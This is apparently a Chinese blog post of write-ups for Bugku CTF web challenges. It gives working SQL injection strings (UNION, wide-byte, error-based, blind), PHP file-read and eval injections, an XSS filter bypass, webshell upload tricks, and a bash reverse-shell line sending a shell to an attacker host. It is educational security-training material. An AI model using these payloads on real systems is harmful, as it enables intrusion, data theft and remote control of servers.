theKingOfNight's Blog

CTF-Web-Bugku------Web(持续更新)

Word count: 6.3kReading time: 24 min
2019/01/19 Share

我使用的是火狐浏览器

使用火狐浏览器的hackbar插件

如果有错误的地方希望大家多多指出,多谢多谢

Easy

WEB2

点开图片是一组滑稽脸,按F12直接可得flag

文件上传测试

通过上传.png文件,得知非php文件,于是采用burp进行修改上传的文件。

image

得到flag

计算器:

直接按F12,将

image

在输入正确结果即可得到flag

web基础$_GET

1
2
3
4
5
6
7
8
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

根据题意,直接将what赋值为flag

image

web基础$_POST

和上到题差不多,然后就这样

image

得到flag

矛盾

观察题目,应该是使用is_numeric遇到%00截断的漏洞,这里构造

http://120.24.86.145:8002/get/index1.php?num=1%00

得到flag

web3

界面有点不尽 的弹窗,应该是使用了大量的alert语句,直接查看网页源代码

最后一行是这样的

image

使用html解码,得到flag

sql注入

在题目后面加’,网页出错,说明有sql注入漏洞,查看网页源代码,查看是什么语言编码

gb2312“,考虑宽字节注入。

?id=1%bf’,程序报错

?id=1%bf’ –+程序又恢复正常

那么我们就要开始工作喽

?id=1%bf’ and version()>0–+,返回正确,则数据库可能为sqlserver和mysql

?id=1%bf’ and length(user())>0 –+ 返回正确,说明存在user()函数,是mysql数据库

?id=1%bf’ order by 2–+ 采用order by 语句查询数据库的列数,为2

?id=1%bf’ union select 1,2–+ 来确定回显

我们这里采用其中的一个回显位置

?id=1%bf’ union select database(),2–+ 查询数据库名称为sql5

?id=1%bf’ union select string,2 from sql5.key where id=1–+ 然后查询key表,id=1的string字段

得到flag

域名解析

域名解析需要修改hosts文件,这里我们使用ubuntun虚拟机进行这道题的解答

image

首先输入这样打开hosts文件

image

将host文件修改为这样,然后直接访问flag.bugku.com得到flag

SQL注入1

和SQL注入差不多,我们来看看这道题,这道题与上到题差距不大,这里只是加入了XSS过滤,但是XSS过滤,strip_tags()会将html,php,xml标签全都去掉,利用这一特点,我们来进行解题

老规矩:

http://103.238.227.13:10087/‘ 存在SQL注入漏洞

http://103.238.227.13:10087/?id=1%20o%3Cp%3Erder%20by%202--+ 判断程序的字段名为2

http://103.238.227.13:10087/id=1%20un%3Cp%3Eion%20se%3Cp%3Elect%20database(),2--+ 判断数据库名称为sql3

http://103.238.227.13:10087/?id=1%20un%3Cp%3Eion%20se%3Cp%3Elect%20hash,2%20fro%3Cp%3Em%20sql3.key%20where%20id=1--+ 查找表为key的数据表,id=1值hash字段值得到flag

你必须让他停下

打开网站后网页一直都在跳动,而且页面不同,猜测flag在其中的一些网页中,采用burp一帧帧的看,在Repeter多次go,很容易就得到了flag

本地包含

方法一

    对_REQUEST[]函数并不是很了解,百度得到它对get/Post都可以接受

    其中第一句话include“flag.php”说明该文件在本地

     第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都会全盘接受,其中var_dump()是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)

根据这一特性,我们尝试将flag.php文件直接输出

构造如下:http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23

使原文语句为

1
2
    eval(“var_dump(1);print_r(file(“./flag.php”))”)

方法二:

另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')

然后查按F12可以知道flag

变量1

首先观察程序,很明显看到了$$args,考虑到此题可能考GLOBALS变量,直接构造如下赋值即可:

http://120.24.86.145:8004/index1.php?args=GLOBALS

得到flag

web5

查看网页源代码,发现了一大堆组合,考虑是JSFUCK,

直接将括号复制到谷歌浏览器的控制台运行得到flag

头等舱

image

采用burp抓包:

image

提交flag即可

web4

查看网页源代码p1=%..%…;p2=%..%…

题目最后p1+%..%…+p2

先进行URL解码

1
2
3
4
5
6
p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b
p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
%35%34%61%61%32=54aa2

提交67d709b2b54aa2aa648cf6e87a7114f1

得到flag

flag在index里

将网页点开,在点击相应连接,网页地址栏变为:

http://120.24.86.145:8005/post/index.php?file=show.php

看到了file关键字,看看用php://filter能否将index读出来

http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

将得到了base64解码,观察程序得到flag

输入密码查看flag

直接burp爆破

点击一百万次

真正点击100 0000 是不可能的,尝试F12修改点击次数,未果

修改程序中的jsp代码,未果

查看网页源代码,根据

if(clicks >= 1000000)

直接将clicks赋值为10000000(POST方法),查看结果

得到flag

mediam

备份是个好习惯

打开网页d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

将里面的东西解码,每个解码的方式都试过了,未果,观察里面的加密值,发现先后重复

将d41d8cd98f00b204e9800998ecf8427e解密

image

然后在flag中试了各种与空有关的东西,未果。

观察题目,说备份是个好习惯猜测应该与备份有关

小知识:

备份文件一般情况是在后缀名后加的*.swp,*.bak

http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件

看看里面有什么东西

http://120.24.86.145:8002/web16/index.php.bak

访问成功了,随便用个什么编辑器把这个东西打开,我这里使用的是bycharm(给在校大学生安利一波),里面的代码是这样滴:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";

要求key1和key2的md5值相等,但是值不相等

百度得这两个值为240610708和QNKCDZO,尝试赋值,并没有什么变化

继续观察源程序,发现程序中将key字符变为空,考虑用kkeyey取代key,

然后果然得到了flag

成绩单

向其中分别输入1,2,3…发现可以查询,当向其中输入1’时,程序不能查询,根据观察题目,猜测应该有4列

输入0,没有查询结果,在这里使用0作为回显,输入0’ union select 1,2,3,4 #

image

得到相应的值

先查询数据名称0’ union select database(),2,3,4; 为skctf_flag

然后查询表名

1
2
id=0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'#

查到为flag4,继续查询列名,得到skctf_flag,然后继续查询,

得到flag

秋名山老司机

要求在2秒之内计算结果,多次刷新界面,有时候回出现如下界面:

image

无奈,只好写一个脚本,对value赋值,这里将代码贴上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import re
import base64
url='http://120.24.86.145:8002/web6/'
s=requests.session()
r=s.get(url)
flag=r.headers['flag']
print(flag)
flag1=base64.b64decode(flag)
print(flag1)
flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])
#将flag分为两部分,[1:-1]就是获取到的值
print(flag2)
data={"margin":flag2}
r=s.post(url,data)
print(r.text)

cookies欺骗

打开网页后是一堆乱码,但是看到url中filename=a2V5cy50eHQ=,尝试解码,get文件夹keys.txt,打开什么也没有。

由于keys.txt是以base64编码输入的,我们不妨以base64编码的方式传入index.php,看看有什么结果也是什么也没有。

尝试将地址栏中的line赋值为1,终于出现了一行代码,然后估计line为几,就是读取第几行,一行行试的比较麻烦,这里写一个脚本来获取整个index.php文件,这里贴上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import re
import requests
url='http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'
for iin range(100):
url1=url%i
c1=requests.get(url1).text
print(c1)
if c1=='':
break

得到的index.php文件中的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

看到了keys.php猜测flag在这里。然后在flag.php中传入margin=margin,得到flag

image

XSS

查看网页源代码,感觉只有可能给变量id和s赋值,这里先采用id赋值

image

然后查看网页源代码

image

发现其中的<>被过滤,这样就简单了,使用unicode编码进行绕过

?id=\u003cscript\u003ealert(key)\u003c/script\u003e

进行输入,得到flag

never give up

查看网页源代码,发现了1p.html,直接访问,发现跳转回主界面

但是1p.html是实实在在存在,而且还在当前目录,考虑如何访问1p.html

image

将得到的语句进行Base64解码,根据解码的结果在进行一次url解码,查看源代码,发现当前目录存在f4l2a3g.txt,访问得到flag

welcome to bugkuctf

查看源代码,访问hint.php,正常来讲,一个php文件是有内容的,考虑如何访问到hint.php

程序需要先使user的值与welcome to the bugkuctf相同,但是这里有file_get_contents()函数

可以采用php://input才访问原始请求数据的只读流,这里将txt赋值为php://input

在post相应的值。

image

将file赋值为phpfilter读相应的base64编码的文件。代码如下:

image

看到了flag.php,估计我们的flag就在其中,通过访问hin.php的方式在来访问flag.php,方法不可行,就需要考虑其他的方法了。

通过思考,一种可行的方法就是通过在index.php(如果一个地址栏末端是’/‘,则默认是index.php)中通过一些方法使hint.php加入其中,在通过一定的方法使hin.php包含flag.php

而我们看到的index.php文件只有一段注释性的代码,里面应该还有一些其他的东西,尝试是否可以访问。直接将一开始插图中的hint.php改为index.php就好了。

果然,其中还是藏有许多东西的(将代码复制粘贴出来保存为txt文件):

image

这里用到了反序列化(我并不是很熟悉,多亏大佬的帮助),这里附上源代码:

image

这样思路就清楚了,尝试给password复制为反序列化的值,查看结果

image

然后查看源代码就拿到了flag.

过狗一句话

看题目意思应该就是需要给s赋值,看到题目的时候也是觉得无从下手,多谢大佬的指点,使得做题在有了一些眉目。

首先将s赋值为phpinfo(),发现可以访问,说明s可以输出我们输入的结果

然后题目一般flag文件都在.php文件中显示,尝试查看所有的文件

                                            s=print_r(glob('*.*'))

然后可以看到flag文件,直接访问相应的flag文件得到flag

字符?正则?

看题目就是给id根据正则表达式的条件赋值,我的赋值是这样的:

http://120.24.86.145:8002/web10/?id=/keyaakeyaaaaakey:/a/aakeya'/i

然后就拿到了flag

前女友(SKCTF)

点击查看源代码,然后在查看code.txt,代码如下:

image

意思大致就是v1!=v2,md5值相等,之前提到过,是240610708和QNKCDZO,然后比较v3和flag,这里利用了strcmp的一个漏洞,不能比较数组,这里我的构造如下:

image

成功拿到flag

login1(SKCTF)

这道题是一个登陆框,登陆admin,提示用户已经存在,后来自己注册了一个账号,结果不是管理员不能查看flag,未果。在考虑如何使用admin登陆,刚开始使用万能密码登陆,结果没有登陆成功,然后尝试用约束攻击,约束攻击的原理就是注册用户名为’admin ‘(有多个空格,这里是三个)的账号,密码’123’(密码可以自定义),然后登陆成功,但是数据库会返回表中的第一个用户,也就是真真实实的admin(这个漏洞只可能在老版本的sql中出现,新版本的mysql已经修复漏洞),然后就可以用admin的身份登陆网页,拿到flag。

这里我注册的账号为‘admin   ’(三空格),密码为‘ABCabc123’然后就成功以管理员的身份拿到了flag

不过好像提交不了,这个题可能被破坏了吧?

你从哪里来

image

   这个题是真的好迷啊,刚开始做没做出来,打开界面就这么一句话:are you from google?

然后改了半天没出来,后来用谷歌也没打开,甚至翻到了国外用谷歌来访问这个题还是老样子。

后来在群里激烈的讨论了下才知道原来是这么做的啊:

image

将这个地方改为谷歌原生的网址就好了:https://www.google.com

中国用谷歌会默认转到香港hk。

md5 collision(NUPT_CTF)

image

md5碰撞,emmmm,这道题算是做了好久,脑洞不够大!!!!

打开文件,要求输入a的值,不过文件的后缀名是.php(一般要用到0e开头的),

这里就需要补充一波常识了:

在php文件中,以MD5值以0e开头的话,php就会认为他们两个的值相等  。所以可以写个脚本来跑出一个以0e开头的

image

不过这里跑出来的是数字,然后没有通过检测,可能需要使用字符串。

编程能力有限,然后直接在网站上找了以0e开头的字符串:

http://www.219.me/posts/2884.html

然后直接选其中一个提交拿到flag

image

各种绕过

看到了flag.php,鸡动的赶紧看看能不能直接看,然后未果。

考虑开始好好看一遍题目

image

最开始获取id时需要用urldecode解码(如果没有用url编码,解码还是原来的东西)

第一行的比较中,uname必须!=passwd才可以继续

第二次比较中,sha1是哈希算法,可以使用数组绕过

这样payload就比较简单了,这里我附上我的payload

image

获得flag

web8

打开网页,附上源代码:

image

看到了熟悉的file_get_contents函数,可以使用php://input给fn赋值,ac直接赋值,然后使两个相等就可以了,知道题还是比较简单的,这里附上我的payload

image

细心

想办法变成admin

image

看到题目吧,还是比较懵的,给的两个按钮点击有没有什么用,然后就看看网页呗。

题目的意思打开是在找文件或目录,这样我们先来看一下网页可以直接访问的文件有哪些:

image

根据提示,在看看resusl.php文件

image

看到以后慌的一批,考虑换个ip做这道题,但是还是先看看不换ip能不能做

题目中的一个小提示是想办法变成admin,题目中需要获取x的值,自然想到直接将x赋值为admin,没想到直接就拿到了flag,这道题难度也不是很大。

求getshell

这道题是文件上传题,本来用菜刀做了一小会,然后bugku好像把菜刀给ban了。无奈,用burp来做这道题。然后直接上传菜刀中的一句话木马

image

这道题后来尝试了好久,但是没有做出来,无奈,只好找大佬寻求帮助

大佬说这道题是后缀名黑名单检测和类型检测

如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,这里将文件的后缀名改为.jpg和.png都不可行,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag

image

INSERT INTO注入

点开题目,有如下程序代码:

image

观察程序,程序关闭的了错误报告 ,大致意思是将访问者的ip记录到数据库进行查询。

然后点开其中的链接,网站记录了其中的ip地址,可以想到http头注入,而且我也是第一次接触头部注入,只会稍稍用一下XFF

image

发现无论在XFF后添加什么东西,都会返回原来的东西,所以应该是Insert型的SQL注入,考虑时间盲注

image

通过测试,这样会进行延时5秒,说明是时间盲注,而且是字符型的时间盲注

我也是第一次接触时间盲注,心里慌的一批,这里采用暴力法寻找数据库名,表名,字段名和内容。原理就是超时等待,我们先来爆破数据库:

image

代码比较多,而且大部分都是重复的,这里我说一下思路,先盲注得到数据库,在爆破表、字段,最后在盲注指定的数据,得到flag。

这道题第一次做真的是相当的难,我也戈了好久。

这是一个神奇的登陆框

这道题还算比较简单。打开题目,随便输个什么用户名,这里以amsoasod为例,loadurl,界面框如下图所示:

image

然后点击执行,结果当然是try again!,首先在用户名后面加个\,出现错误,则存在注入漏洞

image

然后尝试怎么将漏洞利用,在”后面加了–+,不行,但是%23和#都可以,然后就可以注入了,利用order by确定列数

admin_name=amsoasod” order by 2%23&admin_passwd=aaaa&submit=GO+GO+GO

确定回显:

admin_name=amsoasod” union select 1,2%23&admin_passwd=aaaa&submit=GO+GO+GO

确定数据库名称:admin_name=amsoasod” union select database(),2%23&admin_passwd=aaaa&submit=GO+GO+GO

确定数据库里面的表

admin_name=amsoasod" union select table_name,2 from information_schema.tables where table_schema='bugkusql1'%23&admin_passwd=aaaa&submit=GO+GO+GO

确定表中的字段:admin_name=amsoasod” union select column_name,2 from information_schema.columns where table_schema=’bugkusql1’ and table_name=’flag1’%23&admin_passwd=aaaa&submit=GO+GO+GO

然后获取其中的数据:admin_name=amsoasod” union select flag1,2 from bugkusql1.flag1%23&admin_passwd=aaaa&submit=GO+GO+GO

多次

本题有2个flag

第一关是双写绕过,很简单的,试一下就好

PHP_encrypt_1(ISCCCTF)

感觉这个题应该是密码学的题,不过难度不大,直接对应解密就好了,这里偷给懒,就不写了。

文件包含2

image

一打开之后题目是这样的:http://118.89.219.210:49166/index.php?file=hello.php

然后查看源代码,没什么有用的东西,但是其中应该会隐藏什么

然后采用php://filter查看网页:http://118.89.219.210:49166/index.php?file=php://filter/read/convert.baer64-encode/resource=hello.php

然后查看源代码:

image

访问http://118.89.219.210:49166/upload.php

image

我直接上传了一个小马

image

然后采用菜刀连接,结果连接如下图所示

image

就是说其中的<?php和?>已经被屏蔽了,使得脚本无法执行,然后尝试修改文件,使得不会过滤,其中的一种过滤方法是

image

可以看到代码不会过滤,但是菜刀竟然连不上,可能是被ban了。

然后采用burp抓包,将这个文件进行发送:

image

然后访问这个文件

image

访问第四个文件,可以得到flag。

flag.php

点了login咋没反应    

提示:hint

image

输入东西,然后点击login,果然没反应,然后尝试抓包,鬼也没抓到。所以这个登陆框就只是给人看的,然后地址栏是这样:http://120.24.86.145:8002/flagphp/,顺便百度一下hint是线索的意思,尝试访问hint.*,然后鬼也没出来,然后尝试将hint赋值为1,然后就出来源代码了???,这里吧源代码粘上吧:

image

先尝试访问flag.php,然后失败了,然后观察程序程序的意思就是加入cookie:ISecer的反序列化等于KEY,然后又在最下方给出了KEY的值,这样就很简单了直接用burp抓包,然后直接在cookie中加入ISecer=’ISecer:www.isecer.com’ 的值,结果提交老没用,只好继续观察程序,看哪里出问题了,才发现最下面那是给KEY赋值,只好修改payload,是ISecer为空,提交:

image

得到flag

sql注入2

全都tm过滤了绝望吗?

提示 !,!=,=,+,-,^,%

这道题按照之前的套路墨迹了好久,没有找到注入点,没有找到回显,蓝瘦,然后百度了一波教程,说是DS_Store典型的源码泄漏,网上找找工具,将网站扫描一下,就能找到flag。最后直接访问http://120.24.86.145:8007/web2/flag,就可以下载到flag

孙xx的博客

需要用到渗透测试第一步信息收集

点开blog,浏览一哈全部的博客,然后看到了这

image

image

这两个东西很容易就能联想到时用户名密码,可是这里应该是哪里的用户名密码,

尝试访问phpmyadmin,没想到成功访问了,然后把上面这两个东西分别作为用户名密码输进去,然后就可以成功登入了,然后

image

直接点击它,然后查看里面的东西直接就得到了flag

报错注入

image

这道题使用了报错注入,关于报错注入vinc大佬的博文写的是很好的: http://vinc.top/2017/04/06/

另外,论坛中对报错注入的两篇博文也写的比较详细:

http://www.bugku.com/forum.php?mod=viewthread&tid=152&highlight=%B1%A8%B4%ED

http://www.bugku.com/forum.php?mod=viewthread&tid=93&highlight=%B1%A8%B4%ED

其实 我也是第一次使用报错注入,就来现学现用吧。

image

题目中不能包含空格,根据muysql的特性,可以用换行符(%0a)代替空格符,这里我使用的报错时extractvalue。

首先来测试一下:

image

报错注入成功了,然后我们就可以为所欲为了。

工具题目的提示,我们需要访问文件/var/test/key_1.php,就需要在extractvalue函数中使用读取文件的函数来读取到该文件,但是经过百度读取文件的函数load_file的语法是:

image

都要用到 ‘ ,这就比较难为人,不过采用ASCIIhex加密就不需要加 ‘ 了,具体payload如下:

image

32个字符解密出来是这样的:

image

很明显这不是一个完整的php文件,尝试将其读完整。而且中间比较乱的部分可能就是flag,

为什么没有读取完整呢?

load_file文件本身读取时没有问题的,但是extractvalue函数的性质就是只能读32位

这里使用substr(str,start,length)函数来读取剩下的文件。

然后不断的用起点和长度来试探flag,得到的最终paylaod如下:

image

然后提交了好几次都没提交成功,后来才发现原来这里个flag是不完整的,哎

然后需要将substr(str,start,length)函数中的start和length函数进行相应的调整就可以获得全部的flag。

Trim的日记本

hints:不要一次就放弃

直接扫扫目录,show.php就能看到(不过一般情况下线上比赛是不允许扫目录的)

然后flag就在里面

不知道正解是啥。

login2(SKCTF)

hint:union,命令执行    

md5绕过登陆,直接上我的payload的

username=1’ union select 1,md5(1)%23&password=1

经过fuzz一波,可以发现在;后面的指令会执行,但是不一定会有回显。

然后在网上可以搜到很多反弹shell的payload,我用的是这个

1
2
/bin/bash -i > /dev/tcp/attackerip/80800<&12>&1

image

login3(SKCTF)

hint:基于布尔的SQL盲注

这个题也是fuzz了好久,直接给payload,没什么好说的

username=admin%bf’or(select(password))regexp’^5&password=admin

username=admin%bf’or(select(password))regexp’^51&password=admin

一个个往下继续就好,最终md5解密

登陆得flag

login4

hint:CBC字节翻转攻击

补题:

程序员本地网站

100

http://120.24.86.145:8002/localhost/请从本地访问

X-Forwarded-For:127.0.0.1

文件上传2(湖湘杯)

200

http://120.24.86.145:9011/

这个题fuzz了好久,后来发现上传正常的图片也无法显示,那么考点肯定不是文件上传了,GG。

直接给payload:

1
2
http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag

网站被黑

60

http://120.24.86.145:8002/webshell/

这个题没技术含量但是实战中经常遇到

打开网页没什么东西,就需要考虑扫描目录,可以扫描到shell.php。密码是hack

登陆即可得flag。

先写这么多,有时间的话之后再补上

CATALOG
  1. 1. Easy
    1. 1.1. WEB2
    2. 1.2. 文件上传测试
    3. 1.3. 计算器:
    4. 1.4. web基础$_GET
    5. 1.5. web基础$_POST
    6. 1.6. 矛盾
    7. 1.7. web3
    8. 1.8. sql注入
    9. 1.9. 域名解析
    10. 1.10. SQL注入1
    11. 1.11. 你必须让他停下
    12. 1.12. 本地包含
    13. 1.13. 变量1
    14. 1.14. web5
    15. 1.15. 头等舱
    16. 1.16. web4
    17. 1.17. flag在index里
    18. 1.18. 输入密码查看flag
    19. 1.19. 点击一百万次
  2. 2. mediam
    1. 2.1. 备份是个好习惯
    2. 2.2. 成绩单
    3. 2.3. 秋名山老司机
    4. 2.4. cookies欺骗
    5. 2.5. XSS
    6. 2.6. never give up
    7. 2.7. welcome to bugkuctf
    8. 2.8. 过狗一句话
    9. 2.9. 字符?正则?
    10. 2.10. 前女友(SKCTF)
    11. 2.11. login1(SKCTF)
    12. 2.12. 你从哪里来
    13. 2.13. md5 collision(NUPT_CTF)
    14. 2.14. 各种绕过
    15. 2.15. web8
    16. 2.16. 细心
    17. 2.17. 求getshell
    18. 2.18. INSERT INTO注入
    19. 2.19. 这是一个神奇的登陆框
    20. 2.20. 多次
    21. 2.21. PHP_encrypt_1(ISCCCTF)
    22. 2.22. 文件包含2
    23. 2.23. flag.php
    24. 2.24. sql注入2
    25. 2.25. 孙xx的博客
    26. 2.26. 报错注入
    27. 2.27. Trim的日记本
    28. 2.28. login2(SKCTF)
    29. 2.29. login3(SKCTF)
    30. 2.30. login4
  3. 3. 补题:
    1. 3.1. 程序员本地网站
    2. 3.2. 文件上传2(湖湘杯)
    3. 3.3. 网站被黑